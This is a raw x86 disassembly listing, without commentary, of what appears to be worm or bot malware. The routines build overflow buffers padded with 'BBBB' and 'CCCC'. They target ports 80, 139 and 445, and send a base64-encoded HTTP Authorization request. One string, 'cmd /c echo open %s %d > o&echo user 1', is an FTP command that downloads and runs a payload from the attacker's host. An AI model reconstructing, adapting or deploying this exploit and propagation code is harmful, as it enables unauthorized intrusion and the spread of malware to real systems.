lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCE2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCE2
lea ecx, [ebp+var_20]
call sub_40CC68
push offset loc_4323B4
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BF70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_43203C
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323A8
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323A4
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A0
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_432394
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push (offset loc_43238F+1)
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9EC
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9D0
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA24
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; ___:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx
push 0
push esi
call sub_41BF70
push 2Fh
push offset dword_4320CC
push esi
call sub_41CD20
push 8
lea eax, [esi+31h]
push offset dword_4320FC
push eax
mov [esi+2Fh], di
call sub_41CD20
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CD20
push 6
add ebx, edi
push offset dword_4CE6EC
push ebx
call sub_41CD20
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432044
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432108
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427670
call sub_41D174
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427668
fstp [esp+10h+var_10]
call sub_41D055
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41D174
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_40 = qword ptr -40h
mov eax, offset loc_426AA7
call sub_41D640
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D977
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2F4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8F2
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427680
fstp [esp+40h+var_40]
call sub_41D19B
pop ecx
pop ecx
call sub_41D174
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3ED
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D45B
add [ebp-18h], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_432154[eax]
push eax
push 1
call sub_40D774
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D479
push dword ptr [ebp+14h]
call sub_41B9C0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7CD
mov [ebp-18h], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D493
sub esi, [ebp-1Ch]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D774
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D977
push dword_427678
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D824
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D977
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp
mov eax, offset loc_426AC4
call sub_41D640
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB88
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D340
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BEB5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
mov ecx, [ebp-18h]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+18h], ebx
jz short loc_40D542
mov eax, [ebp+18h]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C360
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D977
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D977
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432300
push eax
call sub_41CD20
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CB710
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C360
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_432198
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: ___:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: ___:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
call near ptr 71AB3C22h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9D4
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D977
lea eax, [ebp+0Ch]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9B3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: ___:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: ___:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: ___:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: ___:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: ___:0040D69Aj
; ___:0040D70Dj
push ebx
call dword_4CBA6C
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: ___:0040D657j
push 3E8h
nop
call near ptr 2680EF8h
loc_40D737: ; CODE XREF: ___:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: ___:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40D765: ; CODE XREF: ___:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: ___:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; ___:00426AA1j ...
push 1
call sub_40D977
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; =============== S U B R O U T I N E =======================================
sub_40D774 proc near ; CODE XREF: sub_40D340+110p
; sub_40D340+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D78E
call sub_42629A
loc_40D78E: ; CODE XREF: sub_40D774+13j
test ebx, ebx
jbe short loc_40D7C5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D7C5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BF70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7C5: ; CODE XREF: sub_40D774+1Cj
; sub_40D774+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D774 endp
; =============== S U B R O U T I N E =======================================
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp
; sub_4261B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D83C
call sub_426173
loc_40D83C: ; CODE XREF: sub_40D824+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D84E
mov esi, [ebp+arg_8]
loc_40D84E: ; CODE XREF: sub_40D824+25j
cmp edi, ebx
jnz short loc_40D870
push dword_427678
add esi, ecx
mov ecx, edi
push esi
call sub_40D9E8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9E8
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D870: ; CODE XREF: sub_40D824+2Cj
test esi, esi
jbe short loc_40D8B3
cmp esi, eax
jnz short loc_40D8B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D884
mov eax, offset dword_427688
loc_40D884: ; CODE XREF: sub_40D824+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8B3
push 1
mov ecx, edi
call sub_40D977
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D89F
mov eax, offset dword_427688
loc_40D89F: ; CODE XREF: sub_40D824+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D8B3: ; CODE XREF: sub_40D824+4Ej
; sub_40D824+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8F2
test al, al
jz short loc_40D8E9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8CD
mov eax, offset dword_427688
loc_40D8CD: ; CODE XREF: sub_40D824+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CD20
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8E9: ; CODE XREF: sub_40D824+4Aj
; sub_40D824+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D824 endp
; =============== S U B R O U T I N E =======================================
sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp
; sub_40D774+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D904
call sub_42629A
loc_40D904: ; CODE XREF: sub_40D8F2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D92D
mov al, [ecx-1]
cmp al, dl
jz short loc_40D92D
cmp al, 0FFh
jz short loc_40D92D
cmp edi, edx
jnz short loc_40D968
dec al
push edx
mov [ecx-1], al
loc_40D922: ; CODE XREF: sub_40D8F2+47j
mov ecx, esi
call sub_40D977
loc_40D929: ; CODE XREF: sub_40D8F2+4Bj
; sub_40D8F2+52j
xor al, al
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D92D: ; CODE XREF: sub_40D8F2+19j
; sub_40D8F2+20j ...
cmp edi, edx
jnz short loc_40D946
cmp [esp+8+arg_4], dl
jz short loc_40D93B
push 1
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D93B: ; CODE XREF: sub_40D8F2+43j
cmp ecx, edx
jz short loc_40D929
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D8F2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D963
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D958
cmp eax, edi
jnb short loc_40D970
loc_40D958: ; CODE XREF: sub_40D8F2+60j
push 1
mov ecx, esi
call sub_40D977
jmp short loc_40D968
; ---------------------------------------------------------------------------
loc_40D963: ; CODE XREF: sub_40D8F2+58j
cmp [esi+0Ch], edi
jnb short loc_40D970
loc_40D968: ; CODE XREF: sub_40D8F2+28j
; sub_40D8F2+6Fj
push edi
mov ecx, esi
call sub_40DA4F
loc_40D970: ; CODE XREF: sub_40D8F2+64j
; sub_40D8F2+74j
mov al, 1
loc_40D972: ; CODE XREF: sub_40D8F2+39j
pop edi
pop esi
retn 8
sub_40D8F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp
; sub_40D340+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D9A3
mov eax, [esi+4]
test eax, eax
jz short loc_40D9A3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D99C
cmp al, 0FFh
jz short loc_40D99C
dec al
mov [ecx], al
jmp short loc_40D9A3
; ---------------------------------------------------------------------------
loc_40D99C: ; CODE XREF: sub_40D977+19j
; sub_40D977+1Dj
push ecx
call sub_41D65F
pop ecx
loc_40D9A3: ; CODE XREF: sub_40D977+8j
; sub_40D977+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D977 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p
; sub_40DB0C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8F2
test al, al
jz short loc_40D9E1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9E1: ; CODE XREF: sub_40D9B3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p
; sub_40D824+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9FB
call sub_426173
loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj
mov ecx, edi
call sub_40DB0C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA11
mov ebx, eax
loc_40DA11: ; CODE XREF: sub_40D9E8+25j
test ebx, ebx
jbe short loc_40DA47
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D670
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8F2
test al, al
jz short loc_40DA47
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj
; sub_40D9E8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9E8 endp
